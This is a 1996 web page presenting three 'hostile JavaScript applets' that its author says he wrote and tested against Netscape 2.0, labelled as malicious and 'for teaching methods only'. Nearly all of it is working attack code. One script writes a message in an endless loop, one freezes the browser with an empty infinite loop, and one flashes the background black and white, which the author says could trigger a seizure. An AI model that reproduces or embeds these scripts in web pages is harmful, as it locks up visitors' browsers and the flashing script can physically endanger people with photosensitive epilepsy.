Here are some hostile JavaScript applet codes that would interfere with the function of a Netscape 2.0 browser. I made these and tested them on my own copy of the Netscape 2.0 browser. These applets made for malicious purposes. For teaching methods only.
© 1996 by Daniel Perez. Applets intended .
---------------------
INFINITY -- infinitely repeats the same message until the cache on your browser fills up. Notice the use of the Infinite For Loop.
document.bgColor="white"
for(var i=0; i<= i; i++){
document.write("<CENTER><H1>INFINITY RULES!!!!</H1></CENTER><P>")
}
MR. FREEZE
This applet freezes your browser so you can't do anything. Uses the Infinite For Loop after the Mr. Freeze line. This applet is named after the character in the upcoming Batman Movie played by Arnold Schwarzenegger.
document.bgColor="black"
document.fgColor="blue"
document.write("<CENTER><H1>Your browser is Frozen by Mr. Freeze</H1></CENTER>")
for(var j=0; j<=j; j++){
}
SEIZURE
If you stare at this one long enough, you could get a seizure. It also freezes up your browser with an Infinite For Loop.
for(var i=0; i<= i; i++){
document.bgColor="white"
document.bgColor="black"
}